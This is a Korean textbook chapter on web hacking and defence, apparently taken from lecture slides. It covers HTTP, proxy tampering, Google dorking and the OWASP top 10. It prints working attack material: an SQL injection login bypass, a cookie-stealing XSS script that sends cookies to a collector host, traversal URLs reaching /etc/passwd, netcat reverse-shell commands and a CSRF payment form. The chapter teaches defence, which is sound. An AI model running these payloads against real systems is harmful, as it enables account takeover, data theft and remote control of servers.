Chapter 04. 웹 보안 : 웹, 그 무한한 가능성과 함께 성장한 해킹
웹에 대한 이해 HRRP에 대한 이해 웹 서비스에 대한 이해 웹 해킹에 대한 이해 웹의 주요 취약점 10가지 웹 취약점 보안
HTTP 프로토콜의 동작 원리를 이해한다. 구글과 같은 검색 엔진을 통해 정보를 수집하는 방법을 알아본다. 웹 해킹에서 파일 접근과 관련된 공격을 살펴본다. 리버스 텔넷을 이해한다. 웹에서의 인증의 구조와 이를 우회하는 방법을 알아본다. 패킷 변조를 통해 가능한 공격을 살펴본다. XSS 공격 및 SQL 삽입 공격을 살펴본다.
01 웹에 대한 이해 인터넷의 역사 처음에는 대학에서 연구실 간 데이터 전송을 위해, 단순히 하나의 시스템과 다른 하나의 시스템 간의 통신을 위 한 프로토콜을 만듦. 프로토콜을 해석한 후 이를 다른 프로토콜로 바꾸어 다른 시스템으로 전송해주는 장치인 게이트웨이(Gateway) 가 개발됨. 1969년에는 미 국방부 산하 고등연구 계획국 ARPA(Advanced Research Projects Agency)에 의해 전 세계 주요 거점을 연결하는 네트워크가 만들어짐. 이 네트워크를 알파넷이라 부르는데, 흔히들 이 알파넷을 인터넷의 시작이라고 칭함. 1994년 한국통신이 카이스트와 연구기관 등에 학술 교육/정보 교류용으로 제공한 ‘하나망’을 일반에 개방하여 코넷(KORNET)을 시작함으로써 인터넷에 첫발을 내딛게 됨. WWW(World Wide Web) : 세계 규모의 거미집 또는 거미집 모양의 망이라는 뜻. (짧게 ‘웹’이라고 함.) 1989년 스위스 제네바에 있는 유럽 원자핵 공동 연구소(CERN)에서 근무하던 팀 버너스 리(Tim Berners Lee) 에 의해 연구 목적의 프로젝트로 시작됨. [그림 4-1] UCLA의 최초의 네트워크 노드
01 웹에 대한 이해 인터넷의 역사 WWW 프로젝트의 목적은 전 세계에 흩어져 있는 종업원 및 연구자와 연구 결과나 아이디어를 공유할 수 있는 방법을 모색하는 것이었음. 초기 계획할 당시에는 웹을 ‘Hyper Text Project’라고 명명했음. Hyper Text’는 60년대에 테드 넬슨이 만든 신조어로써 다른 문서와 연관관계를 가지는 텍스트를 뜻함. Hyper Text를 이용하면 단어나 문구를 마우스로 클릭해서 관련 주제에 대한 정보를 추가로 얻을 수 있음. 현재 웹 문서로 가장 흔히 쓰이는 HTML(Hyper Text Markup Language)은 이 Hyper Text를 효과적으로 전달 하기 위한 스크립트 언어. 웹에 접근하기 위해서는 웹 브라우저인 모자이크의 경우 1992년 배포 글자 위에서 마우스 버튼을 클릭할 수 있는 하이퍼링크(Hyper Link)가 처음 구현됨. 1994년에 발표된 네스케이프 네비게이터는 인터넷의 대중화에 기여했지만 현재는 사라짐. [그림 4-2] 초기의 ARPA 네트워크
02 HTTP에 대한 이해 HTTP 프로토콜 0.9 버전부터 사용됨. 0.9 버전은 서버로부터의 단순 읽기 기능만 지원. 클라이언트가 웹 브라우저를 이용해 서버에 연결을 요청하면, 연결 요청을 받은 서버는 그 클라이언트에 대해 서비스를 준비한다. 서버가 준비 상태가 되면(➊), 클라이언트는 읽고자 하는 문서를 서버에 요청한다(➋). 서버는 웹 문서 중 클라이 언트가 요청한 문서를 클라이언트에 전송하고(➌) 연결을 끊는다(➍). 0.9 버전은 하나의 웹 페이지 안에서도 텍스트와 그림마다 Connect 과정을 반복해서 거쳐야 했기 때문에 무척 비효율적임. [그림 4-3] HTTP 0.9 버전의 연결
02 HTTP에 대한 이해 HTTP Request GET 방식 가장 일반적인 HTTP Request 형태 웹 브라우저에 다음과 같은 요청 데이터에 대한 인수를 URL(Uniform Resource Locator)을 통해 전송 POST 방식 HTTP 헤더에 데이터를 전송 인수 값을 URL을 통해 전송하지 않으므로 다른 이가 링크를 통해 해당 페이지를 볼 수 없음. 파일 업로드는 POST 방식으로만 할 수 있음 데이터가 URL을 통해서 노출되지 않기 때문에 최소한의 보안성을 갖추고 있기 때문. 일반적으로 게시판의 목록이나 글 보기 화면은 접근 자유도를 부여하기 위해 GET 방식을 사용하고 글 저장/수정/삭 제나 많은 양의 데이터를 전송할 때는 POST 방식을 사용. 기타 방식 HEAD 방식 : 서버 측의 데이터를 검색하고 요청하는 데 사용 OPTIONS 방식 : 자원에 대한 요구/응답 관계에서 관련된 선택 사항의 정보를 요청할 때 사용. 이를 통해 클라이언트는 어느 것을 선택할지 결정할 수 있고, 자원과 관련된 필요 사항도 결정할 수 있음. PUT 방식 : 메시지에 포함되어 있는 데이터를 지정한 URI(Uniform Resource Identifier) 장소에 그 이름으로 저장 DELETE 방식 : URI에 지정되어 있는 자원을 서버에서 지울 수 있게 함. TRACE 방식 : 요구 메시지의 최종 수신처까지의 루프백 검사용으로 쓰임. 즉 클라이언트가 보내는 요구 메 시지가 거쳐가는 프록시나 게이트웨이의 중간 경로 및 최종 수신 서버까지 이르는 경로를 알아내는 데 사용
02 HTTP에 대한 이해 HTTP Response 클라이언트의 Request에 대한 응답 패킷. 헤더 정보 뒤에는 실제 데이터(HTML이나 그림 파일)가 전달됨. 데이터 전달이 끝나면 서버는 연결을 끊음. [표 4-1] HTTP Response의 주요 실행 결과 코드 실행 결과 코드 내용 설명 100번대 정보 전송 HTTP/1.0까지는 계열에 대한 어떤 정의도 이루어지지 않았기 때문에 실험적인 용도 이외에는 100대 서버 측의 응답은 없다. 200번대 성공 클라이언트의 요구가 성공적으로 수신되어 처리되었음을 의미한다. 300번대 리다이렉션 해당 요구 사항을 처리하기 위해 사용자 에이전트에 의해 수행되어야 할 추가적인 동작이 있음을 의미한다. 400번대 클라이언트 측 에러 클라이언트에 오류가 발생한 경우 사용된다. 예를 들면 클라이언트가 서버에 보내는 요구 메시지를 완전히 처리하지 못한 경우 등이다. 500번대 서버 측 에러 서버 자체에서 발생된 오류 상황이나 요구 사항을 제대로 처리할 수 없을 때 사용된다.
03 웹 서비스에 대한 이해 HTML 가장 단순한 형태의 웹 언어. 웹 서버에 HTML 문서를 저장하고 있다가 클라이언트가 특정 HTML 페이지를 요청하면 해당 HTML 문서를 클 라이언트로 전송해줌. 이런 웹 페이지를 정적인(Static) 웹 페이지라고 함. 클라이언트의 웹 브라우저를 통해 웹 서버의 무엇인가를 바꿀 수 있는 가능성이 매우 낮기 때문에 웹을 이용한 공격이 매우 어려움. [그림 4-5] 정적인 웹 페이지 접근 시 웹 문서 전송
03 웹 서비스에 대한 이해 SSS ASP나 JSP와 같은 동적인 페이지를 제공하는 스크립트를 SSS(Server Side Script)라 함. 스크립트에HTML 확장자 대신 ASP 또는 JSP의 확장자를 가진 웹 문서를 요청하면 ASP는 DLL이나 OCX 같은 파 일을 이용해, JSP는 서블릿을 이용해 요청을 처리. 그 다음 그 결과를 HTML 파일로 만들어 클라이언트에 전송. [그림 4-6] 동적인 웹 페이지 접근 시 웹 문서 전송
03 웹 서비스에 대한 이해 CSS 웹 서비스에 이용되는 스크립트에는 자바 스크립트(JavaScript)나 비주얼 베이직 스크립트(Visual Basic Script) 등이 있음. 이들은 서버가 아닌 클라이언트 측의 웹 브라우저에 의해 해석되고 적용됨. 이를 CSS(Client Side Script)라 함. [그림 4-7] CSS로 만든 웹 페이지 접근 시 클라이언트의 동작
04 웹 해킹에 대한 이해 웹 취약점 스캐너를 통한 정보 수집 장점 : 웹 취약점 스캐너를 통한 정보 수집은 빠른 시간 내에 다양한 접속 시도를 수행할 수 있음. 단점 : 웹 구조를 파악하고 취약점을 수집하기가 쉽지 않음. [그림 4-8] Acunetix 웹 취약점 스캐너
04 웹 해킹에 대한 이해 웹 프록시를 통한 취약점 분석 웹 프록시는 클라이언트가 웹 서버와 웹 브라우저 간에 전달되는 모든 HTTP 패킷을 웹 프록시를 통해서 확인하 면서 수정하는 것이 가능. [그림 4-9] 웹 프록시의 동작 구조
04 웹 해킹에 대한 이해 웹 프록시를 통한 취약점 분석 웹 프록시로 burp suite를 사용해보자. [도구]-[인터넷 옵션]-[연결]-[LAN 설정]에서 프록시 서버를 다음과 같이 설정해주어야 함. 127.0.0.1을 흔히 루프백(Loopback) 주소라 하는데, PC 자기 자신을 의미함. 8080은 웹 프록시 프로그램의 서비스 포트 [그림 4-13] 웹 프록시의 설정 : [LAN 설정]-[프록시 서버]
04 웹 해킹에 대한 이해 웹 프록시를 통한 취약점 분석 서버에서 클라이언트로 전송되는 패킷 변조 웹 사이트가 언어로 개발됐든지 웹 프록시를 통해서 확인하는 것은HTML. 테스트환경으로 사용하는 웹 페이지의 게시판에서 하나의 글에 대한 열람을 시도해보자. ‘테스트1입니다.’라는 제목을 클릭하면 다음과 같은 내용을 확인할 수 있다. [그림 4-15] ‘테스트1입니다.’ 문서 열람 시도 [그림 4-16] 열람한 ‘테스트1입니다.’ 의 내용
04 웹 해킹에 대한 이해 서버에서 클라이언트로 전송되는 패킷 변조 Email 값을 tt@ttt.com으로 바꿔보자. 전송해보자. [그림 4-18] 웹 프록시를 통해 Email 변조 [그림 4-19] Email을 변조한 ‘테스트1입니다.’의 내용
04 웹 해킹에 대한 이해 서버에서 클라이언트로 전송되는 패킷 변조 클라이언트에 해킹하고자 하는 대상이 있는 경우 웹 브라우저 내용만 바꾸었지만 실제로는 Active X 등의 형태로 여러 프로그램이 클라이언트에 설치되어 웹 서비스를 제공하는 경우가 많음. 이때 클라이언트에 설치된 서비스 프로그램을 속이는 것이 가능 서버에서 클라이언트에 정보를 전송했다가 이를 다시 전송받아 처리하는 경우 예를 들면 서버에서 변수 A의 값이 20임을 확인하고 이 값을 클라이언트에 전송 그리고 서버는 전송한 변수 A가 필요할 때 자신의 데이터베이스에서 다시 읽지 않고, 클라이언트가 관련 서 비스 수행할 때 서버에 다시 전송해주는 A 값을 참조하여 서비스를 수행하는 경우 [그림 4-20] 클라이언트에 전송한 변수 값을 서버가 참조
04 웹 해킹에 대한 이해 서버에서 클라이언트로 전송되는 패킷 변조 2단계에서 A=40이라고 바꾸어 전송하면 A 값이 다음과 같이 흘러감. 패킷 변조의 예 [그림 4-21] 클라이언트에 변조하여 전송한 변수 값을 서버가 참조 [그림 4-22] 당첨권을 위변조하여 경품을 받는 경우
04 웹 해킹에 대한 이해 서버에서 클라이언트로 전송되는 패킷 변조 ‘테스트1입니다.’의 글을 조회하는 과정에서 HTTP 패킷을 웹 프록시에서 확인해보자. 해당 글에 대한 인수값(num=1)이 전달되는 것을 확인할 수 있음. GET을 통해서 게시판의 첫 번째 글 /bbs/board_view.asp?num=1을 보여줄 것을 서버에 요청 num 값을 2로 바꾸어 전송 [그림 4-23] 서버에서 클라이언트로 전송되는 패킷 [그림 4-24] 서버에서 클라이언트로 전송되는 패킷 변조
04 웹 해킹에 대한 이해 클라이언트에서 서버로 전송되는 패킷 변조 패킷을 보내면 2번 글이 다음과 같이 조회되는 것을 확인할 수 있음. 클라이언트에서 서버로 전송되는 패킷을 변조하는 것은 일반적인 웹 서비스의 메뉴상 접속할 수 없는 것에 접 근하거나 특정한 값을 넣어 시스템의 오작동을 유도하기 위한 목적으로 사용. [그림 4-25] 변경된 본문 내용
04 웹 해킹에 대한 이해 구글 해킹을 통한 정보 수집 많은 정보를 수집하기 위해서는 검색 엔진을 이용하면 유용 검색 엔진 중에는 구글이 많이 사용됨. [표 4-2] 구글에서 제공하는 고급 검색 기능 검색 인자 설명 검색 추가 인자 site 특정 도메인으로 지정한 사이트에서 검색하려는 문자열이 포함된 사이트를 찾음 YES filetype 특정한 파일 유형에 한해서 검색하는 문자가 들어 있는 사이트를 찾음 link 링크로 검색하는 문자가 들어 있는 사이트를 찾음 NO cache 특정 검색어에 해당하는 캐시된 페이지를 보여줌 intitle 페이지의 제목에 검색하는 문자가 들어 있는 사이트를 찾음 inurl 페이지의 URL에 검색하는 문자가 들어 있는 사이트를 찾음
04 웹 해킹에 대한 이해 구글 해킹을 통한 정보 수집 주요 검색 인자 site : 특정 사이트만을 집중적으로 선정해서 검색할 때 유용 wishfree.com 도메인이 있는 페이지에서 admin 문자열을 찾으라는 예 filetype : 특정 파일 유형에 대해 검색할 때 사용한다. 파일 확장자가 txt이고 패스워드라는 문자열이 들어간 파일을 검색한 화면 site:wishfree.com admin filetype:txt 패스워드 [그림 4-26] filetype 기능의 예제 결과
04 웹 해킹에 대한 이해 구글 해킹을 통한 정보 수집 주요 검색 인자 intitle : 디렉터리 리스닝 취약점이 존재하는 사이트를 쉽게 찾을 수 있음. intitle:index.of admin [그림 4-27] 디렉터리 리스팅이 가능한 사이트 검색
04 웹 해킹에 대한 이해 구글 해킹을 통한 정보 수집 검색 엔진의 검색을 피하는 방법 가장 일반적인 대응법 : 웹 서버의 홈 디렉터리에 robots.txt 파일을 만들어 검색할 수 없게 만듦. http://www.wishfree.com/robots.txt 파일이 있으면 구글 검색 엔진은 robots.txt에 있는 디렉토리는 검색하지 않음. robots.txt 파일은 Useragent와 Disallow를 이용 User-agent는 구글 검색 엔진으로부터의 검색을 막기 위해서 다음과 같이 사용. User-agent: googlebot → 구글 검색 엔진의 검색을 막는다. User-agent: * → 모든 검색 로봇의 검색을 막는다. Disallow: dbconn.ini → dbconn.ini 파일을 검색하지 못하게 한다. Disallow: /admin/ → admin 디렉터리에 접근하지 못하게 한다.
04 웹 해킹에 대한 이해 구글 해킹을 통한 정보 수집 검색 엔진의 검색을 피하는 방법 미국 백악관에서 실제로 사용하는 robot.txt 파일의 내용을 살펴보는 것도 좋음. http://www.whitehouse.gov/robots.txt [그림 4-28] www.whitehouse.gov/robots.txt의 내용
05 웹의 주요 취약점 10가지 OWASP 국제웹보안표준기구 OWASP(The Open Web Application Security Project) 해마다 웹 관련 상위 10개의 주요 취약점을 발표 [그림 4-29] OWASP 사이트
05 웹의 주요 취약점 10가지 명령 삽입 취약점 member 테이블 조회 왼쪽에는 지금까지 우리가 이용한 서버의 데이터베이스 목록이 보임. 마지막에 웹 서버와 연동되는 web이라는 데이터베이스가 위치 사용자 정보 테이블인 member 테이블의 정보를 확인하면 wishfree라는 계정이 qwer1234라는 패스워드로 존재 select * from [web].[dbo].[member]; [그림 4-30] MS-SQL 2008에서 member 테이블 조회
05 웹의 주요 취약점 10가지 명령 삽입 취약점 특정 사용자에 대해 아이디 목록을 조회 select user_id from [web].[dbo].[member] where user_id ='wishfree'; [그림 4-31] member 테이블에서 wishfree ID 조회
05 웹의 주요 취약점 10가지 명령 삽입 취약점 웹에서 사용자가 ID와 패스워드 입력창에 자신의 ID와 패스워드를 입력하면 아래와 같은 SQL문이 작성되어 데 이터베이스에 전송됨. 입력된 ID와 패스워드가 동일한 계정이 있으면 아래의 결과창에 해당 ID(wishfree)가 출력됨. select user_id from [web].[dbo].[member] where user_id ='입력된 아이디' AND user_pw='입력된 패스워드' select user_id from [web].[dbo].[member] where user_id ='wishfree' AND user_pw='qwer1234' [그림 4-32] user_id, user_pw를 조건으로 입력하고 member 테이블 조회
05 웹의 주요 취약점 10가지 명령 삽입 취약점 잘못된 패스워드 입력 select user_id from [web].[dbo].[member] where user_id ='wishfree' AND user_pw='qwer' [그림 4-33] 잘못된 user_pw를 조건으로 입력하고 member 테이블 조회
05 웹의 주요 취약점 10가지 명령 삽입 취약점 실제 웹 소스의 로그인 처리 부분 SQL 삽입 공격은 어떤 수단을 쓰든 SQL의 결과값이 NULL이 나오지 않게, 즉 출력값이 사용자 ID가 되도록 하여 로그인하는 것. 조건값에 ' or ''='을 입력하면 where로 입력되는 조건문을 항상 참으로 만들 수 있음. Query = "SELECT user_id FROM member WHERE user_id = '"&strUser_id&“ ' AND password = ‘ '&strPassword&" ' " strAuthCheck = GetQueryResult(Query) If strAuthCheck = " " then boolAuthenticated = False Else boolAuthenticated = True EndIf [그림 4-34] 인증 우회를 위한 SQL 삽입 공격이 적용된 SQL 쿼리
05 웹의 주요 취약점 10가지 명령 삽입 취약점 SQL 삽입 공격 확인 SELECT user_id FROM [web].[dbo].[member] WHERE user_id = '' or ''='' AND user_pw = '' or ''='' [그림 4-35] user_id, user_pw에 ‘or’’=‘을 입력하고 member 테이블 조회
05 웹의 주요 취약점 10가지 명령 삽입 취약점 웹에서 잘못된 ID와 패스워드 입력시 웹에서 SQL 삽입 공격시(‘or “=‘ 입력) SQL 삽입 공격에 사용되는 SQL문은 무엇이라도 SQL 삽입 공격에 사용될 수 있음. SQL 삽입 공격은 로그인뿐만 아니라 웹에서 사용자의 입력 값을 받아 데이터베이스에 SQL문으로 데이터를 요청하는 모든 곳에 가능 [그림 4-36] 잘못된 ID와 패스워드를 이용한 로그인 시도 [그림 4-38] 로그인 성공
05 웹의 주요 취약점 10가지 XSS 취약점 XSS(Cross Site Scripting)는 공격자에 의해 작성된 스크립트가 다른 사용자에게 전달되는 것. 다른 사용자의 웹 브라우저 내에서 적절한 검증 없이 실행 사용자의 세션을 탈취하거나, 웹 사이트를 변조하거나 혹은 악의적인 사이트로 사용자를 이동시킬 수 있음. 임의의 XSS 취약점이 존재하는 서버에 XSS 코드를 작성하여 저장 일반적으로 공격자는 임의의 사용자 또는 특정인이 이용하는 게시판을 이용 해당 웹 서비스 사용자가 공격자가 작성해놓은 XSS 코드에 접근 사용자는 본인이 공격자가 작성해놓은 XSS 코드에 접근하는 것을 인지하지 못함. 웹 서버는 사용자가 접근한 XSS 코드가 포함된 게시판의 글을 사용자에게 전달 사용자 시스템에서 XSS 코드가 실행 XSS 코드가 실행된 결과가 공격자에게 전달되고 공격자는 공격을 종료 [그림 4-39] XSS 공격의 구조
05 웹의 주요 취약점 10가지 XSS 취약점 XSS가 포함된 글을 게시판에 올려 해당 글을 읽는 사용자의 쿠키 값을 획득 쿠키 값을 획득하기 위한 간단한 코드(GetCookie.asp)를 미리 만듦. GetCookie.asp <% testfile=server.MapPath("GetCookie.txt") cookie=request("cookie") set fs=server.CreateObject("Scripting.FileSystemObject") set thisfile=fs.openTextFile(testfile,8,true,0) thisfile.writeline(""&cookie&"") thisfile.close set fs=nothing %>
05 웹의 주요 취약점 10가지 XSS 취약점 XSS 공격용 스크립트를 작성 사용된 XSS 코드 <script>location.href="http://192.168.137.128/XSS/GetCookie.asp?cookie="+document.cookie</script>
05 웹의 주요 취약점 10가지 XSS 취약점 게시판을 열람할 때 웹 서버(192.168.137.128)로 현재 해당 문서를 읽는 사용자의 쿠키 값을 전달 업로드된 글을 사용자가 읽으면 화면상에 아무것도 나타나지 않음. 공격자는 이미 피해자의 쿠키를 확보하여 해당 웹 페이지에 접속함. [그림 4-41] XSS 코드가 포함된 글 열람 [그림 4-42] 피해자로부터 전달받은 쿠키
05 웹의 주요 취약점 10가지 XSS 취약점 해당 게시판의 XSS 공격의 취약성 여부는 다음과 같은 간단한 XSS 코드를 게시판에 입력해보고 해당 게시판의 글을 열람해보면 확인할 수 있음. <script>alert(document.cookie)</script> [그림 4-43] XXS 취약점 확인
05 웹의 주요 취약점 10가지 취약한 인증 및 세션 관리 취약한 패스워드 설정 취약한 인증의 가장 기본적인 문제점은 패스워드 설정 사용자 측 데이터를 이용한 인증 최초 인증 과정은 정상적인 아이디와 패스워드의 입력으로 시작 웹 서버에서 해당 아이디와 패스워드가 올바른 경우 접속 인증을 해줌. 인증 값으로 쿠키와 같은 세션 값을 넘겨줌. 정상적인 인증 [그림 4-44] 사용자 측 데이터를 이용한 인증 과정 1단계 [그림 4-45] 사용자 측 데이터를 이용한 인증 과정 2단계
05 웹의 주요 취약점 10가지 취약한 인증 및 세션 관리 사용자 측 데이터를 이용한 인증 웹 서버는 공격자가 새로운 페이지에 접근할 때 수신한 인증 허용 값을 전달받으면서 해당 세션이 유효한 인 증인지 확인 이때 공격자가 전달해주는 값(아이디 및 사용자 고유번호 등)을 이용해 해당 인증의 소유자(Identity)를 구분 공격자는 세션 인증 값은 그대로 사용하고 UserNo 값만 변경함으로써 다른 계정으로 로그인한 것처럼 웹 서 비스를 이용할 수 있음. [그림 4-46] 사용자 측 데이터를 이용한 인증 과정 3단계 [그림 4-47] 사용자 측 데이터를 이용한 인증 취약점 공격
05 웹의 주요 취약점 10가지 직접 객체 참조 디렉터리 탐색 디렉터리 탐색(Directory Traversal)은 웹 브라우저에서 확인 가능한 경로의 상위로 탐색하여 특정 시스템 파 일을 다운로드하는 공격 방법 자료실에 올라간 파일을 다운로드할 때 전용 다운로드 프로그램이 파일을 가져오는데, 이때 파일 이름을 필터링하 지 않아서 발생하는 취약점 게시판 등에서 첨부파일을 다운로드할 때 다음과 같이 down.jsp 형태의 SSS를 주로 사용 게시판에서 글 목록을 보여주는 list.jsp 파일이 http://www.wishfree.com/ board에 위치한다면 주소창에 다 음과 같이 입력하여 다운로드 가능. http://www.wishfree.com/board/download.jsp?filename=사업계획.hwp http://www.wishfree.com/board/download.jsp?filename=../list.jsp
05 웹의 주요 취약점 10가지 직접 객체 참조 디렉터리 탐색 파일 시스템에서‘.’은 현재 디렉토리를, ‘..’은 상위 디렉토리를 의미 공격자가 filename 변수에‘../list.jsp’ 입력 다운로드가 기본적으로 접근하는 /board/upload 디렉토리의 바로 상위 디렉토리에서 list.jsp를 다운로드하라는 의미 [그림 4-48] ..을 이용한 임의 디렉터리 파일 다운로드
05 웹의 주요 취약점 10가지 직접 객체 참조 디렉터리 탐색 /board/admin 디렉토리에 있는 adminlogin.jsp를 다운로드하려면 다음과 같이 입력. download.jsp 파일 자신도 다음과 같이 다운로드할 수 있음. 시스템 내부의 중요 파일도 위와 같은 방법으로 다운로드를 시도 유닉스 시스템의 경우 /etc/passwd와 같이 사용자 계정과 관련된 중요 파일을 다음과 같은 형태로 시도해볼 수 있음. http://www.wishfree.com/board/download.jsp?filename=../admin/adminlogin.jsp http://www.wishfree.com/board/download.jsp?filename=../download.jsp http://www.wishfree.com/board/download.jsp?filename=../../../../../../../etc/passwd
05 웹의 주요 취약점 10가지 직접 객체 참조 파일 업로드 제한 부재 클라이언트에서 서버 측으로 임의의 파일을 보낼 수 있는 취약점은 웹 서버가 가질 수 있는 가장 치명적인 취약점 공격자는 웹 서버에 악의적인 파일을 전송하고, 원격지에서 해당 파일을 실행하여 웹 서버를 장악하며 추가적인 내 부 침투 공격을 수행할 수 있게 되기 때문. 웹 해킹의 최종 목표인 리버스 텔넷과 같은 웹 서버의 통제권을 얻기 위해 반드시 성공해야 하는 공격 이런 취약점이 존재하는 가장 일반적인 형태는 게시판 게시판에 첨부파일로 악의적인 파일을 업로드하고 실행시키는 것 이때 첨부파일로 업로드하는 악성코드는 대부분 웹 쉘 [그림 4-49] 웹 쉘 업로드 후 수행
05 웹의 주요 취약점 10가지 직접 객체 참조 리버스 텔넷 웹 해킹을 통해 시스템의 권한을 획득한 후 해당 시스템에 텔넷과 같이 직접 명령을 입력하고 확인할 수 있 는 쉘을 획득하기 위한 방법 방화벽이 존재하는 시스템을 공격할 때 자주 사용 일반적으로 웹 서버는 방화벽 내부에 존재하고 웹 서버는 80번 포트를 이용한 웹 서비스만 제공하면 되기 때 문에, 방화벽은 외부 인터넷을 사용하는 사용자에 대해 80포트만을 허용. 이런 경우 웹 서버의 텔넷(Telnet)이 열려있어도 방화벽으로 인해 공격자가 외부에서 접근할 수 없음. [그림 4-50] 외부로부터 차단된 텔넷 접속
05 웹의 주요 취약점 10가지 직접 객체 참조 리버스 텔넷 심화된 공격을 하기 위해서는 텔넷과 유사한 접근 권한을 획득하는 것이 매우 중요. 방화벽에서 인바운드 정책(외부에서 방화벽 내부로 들어오는 패킷에 대한 정책)은 80번 포트 외에 필요한 포트만 빼고 다 막아 놓지만 아웃바운드 정책(내부에서 외부로 나갈 때에 대한 정책)은 별다른 필터링을 수 행하지 않는 경우가 많음. 리버스 텔넷은 이런 허점을 이용. [그림 4-51] 내부에서 외부로 허용된 텔넷 접속
05 웹의 주요 취약점 10가지 직접 객체 참조 리버스 텔넷 명령창 획득 : 파일 업로드 등을 통해 공격자가 명령을 입력할 수 있는 명령창을 획득 리버스 텔넷용 툴 업로드 : nc와 같은 리버스 텔넷용 툴을 서버 게시판의 파일 업로드 기능을 이용해 업로드 공격자 PC 리버스 텔넷 데몬 활성화 : 서버에서 리버스 텔넷을 보내면 이를 받아 텔넷을 열 수 있도록 다음 과 같이 리버스 텔넷 툴을 실행시킴. [그림 4-52] nc 툴의 업로드 nc -l -p 80 [그림 4-53] 공격자 PC에서 리버스 텔넷 데몬 활성화
05 웹의 주요 취약점 10가지 직접 객체 참조 리버스 텔넷 획득한 명령창을 통해 공격자에게 리버스 텔넷을 보내준다. 업로드한 nc 파일이 위치한 전체 경로를 입력 해줘야 함. 이때 공격자 IP는 192.168.137.1 리버스 텔넷 창 획득 c:\inetpub\wwwroot\bbs\upload\nc -e cmd.exe [공격자 IP] 80 [그림 4-54] 웹 서버에서 공격자 PC에 리버스 텔넷 접속 요청 전송 [그림 4-55] 웹 서버에 리버스 텔넷 연결 성공
05 웹의 주요 취약점 10가지 직접 객체 참조 리버스 텔넷 IP가 웹 서버의 192.168.137.132로 바뀐 것 확인
05 웹의 주요 취약점 10가지 직접 객체 참조 리버스 텔넷 리버스 텔넷 예 리버스 텔넷 예방법 파일 업로드를 먼저 막아야 함. asp뿐만 아니라 리버스 텔넷 툴 같은 것을 실행하지 못하도록 exe나 com 같은 실행 파일도 업로드를 못하게 해야 함. 외부에서 내부로의 접속뿐만 아니라 내부에서 외부로의 불필요한 접속도 방화벽으로 막는 것이 좋음. [그림 4-57] 리버스 텔넷의 예
05 웹의 주요 취약점 10가지 CSRF 취약점 CSRF(Cross Site Request Forgery)는 특정 사용자를 대상으로 하지 않고, 불특정 다수를 대상으로 로그인된 사 용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록, 송금 등)를 하게 만드는 공격 CSRF 공격을 이용하면 공격자는 특정 물품을 구매하여 장바구니에 넣어두고, 해당 물품에 대한 결재를 다른 이 를 통해 다음과 같은 형태로 수행할 수도 있음. CSRF가 성립하려면 수정·삭제·등록하는 액션에서 사용자를 구분하는 파라메터 값이 존재하지 않아야 함. 특정한 사용자를 구분하는 인수가 있으면 하나의 사용자에게만 적용되거나 인증 과정을 통해 CSRF 공격을 막을 수 있음. [그림 4-58] CSRF 공격의 구조 <body onload = "document.csrf.submin()"> <form name="csrf" action="http://www.shop.co.kr/malladmin/order/order.jsp" method="POST"> <input type="hidden" name="uid" value="wishfree"> <input type="hidden" name="mode" value="pay_for_order"> <input type="hiddne" name="amount" value="10000"> </form>
05 웹의 주요 취약점 10가지 보안 설정 취약점 디렉터리 리스팅 웹 브라우저에서 웹 서버의 특정 디렉터리를 열면 그 디렉터리에 있는 파일과 목록이 모두 나열되는 것 백업 및 임시 파일 존재 웹 서버에 백업 파일이나 임시 파일들을 삭제하지 않은 채 방치할 경우 공격자가 이 파일들을 발견 시 웹 어플리케이션의 내부 로직 및 데이터베이스 접속 정보 등 중요한 정보를 획득할 수 있음. 주석 관리 미흡 일반적으로 프로그램의 주석은 개발자만 볼 수 있으나, 웹 어플리케이션은 웹 프록시를 통해 이용자도 볼 수 있음. 주석에는 개발 과정이나 웹 어플리케이션의 관리 목적으로 주요 로직에 대한 설명, 디렉터리 구조, 테스트 소스 정보, 등의 여러 가지 정보가 기록될 수 있으니 개발 시 주석에 기록되는 정보를 주의 [그림 4-59] 디렉터리 리스팅의 예
05 웹의 주요 취약점 10가지 취약한 정보 저장 방식 URL 접근 제한 실패 개인정보 유출의 중요한 원인은 웹 취약점뿐만 아니라, 많은 웹 어플리케이션이 신용카드번호, 주민등록번호, 그리고 인증신뢰정보와 같은 민감한 데이터를 보호하지 않기 때문. 보호하려는 데이터의 중요도에 따라 암호화 로직을 사용하고, 데이터베이스 테이블 단위에서 암호화를 수행 해야 함. URL 접근 제한 실패 관리자 페이지나 인증이 필요한 페이지에 대한 인증 미처리로 인해 인증을 우회하여 접속할 수 있게 됨. 이 취약점에 노출되면 일반 사용자나 로그인하지않은 사용자가 관리자 페이지에 접근하여 관리자 권한의 기능 을 악용할 수 있음. 인증우회의 예 관리자로 로그인해서 관리자용 웹 페이지에 접속할 수 있어야 하는데, 로그인을 하지 않고도 관리자용 웹 페 이지에서 특정 작업을 직접 수행할 수 있는 것 www.wishfree.com/admin/login.asp를 통해 관리자로 로그인한 후에야 www.wishfree.com/admin/ boardadmin.asp에 접근할 수 있어야 하는데, 관리자로 로그인 하지 않은 채로 www.wishfree.com/admin/ boardadmin.asp에 바로 접근해 게시판을 관리하는 경우. 인증우회의 보안책 인증 우회를 막기 위해서는 웹에 존재하는 중요 페이지에 세션값(쿠키)을 확인하도록 검증로직을 입력함.
05 웹의 주요 취약점 10가지 인증 시 비암호화 채널 사용 부적절한 오류 처리 최근에는 인터넷뱅킹과 같이 보안성이 중요한 시스템에서는 웹 트래픽을 암호화함. 이때 사용되는 암호화 알고리즘이 약하거나 암호화하는 구조에 문제가 있다면 웹 트래픽은 복호화되거나 위변 조될 수 있음. 부적절한 오류 처리 웹 페이지를 이용하다 보면 자동으로 다른 페이지로 리다이렉트(Redirect)하거나 포워드(Forward)하는 경우가 종종 발생 이때 목적 페이지에 리다이렉트하기 위해 신뢰되지 않은 데이터를 사용할 경우 적절한 확인 절차가 없으면 공 격자는 피해자를 피싱 사이트나 악의적인 사이트로 리다이렉트할 수 있고, 권한 없는 페이지의 접근을 위해 사 용할 수도 있음.
06 웹의 취약점 보완 특수문자 필터링 웹 해킹의 가장 기본적인 형태 중 하나인 인수 조작 인수 조작은 예외적인 실행을 유발시키기 위해 일반적으로 특수문자를 포함하게 되어 있음. [표 4-3] 필터링 대상 주요 특수문자 주요 특수 문자 주요 관련 공격 < XSS > & “ ? ‘ XSS, SQL 삽입 공격 - - SQL 삽입 공격 = ; * . .. / XSS, 디렉터리 탐색
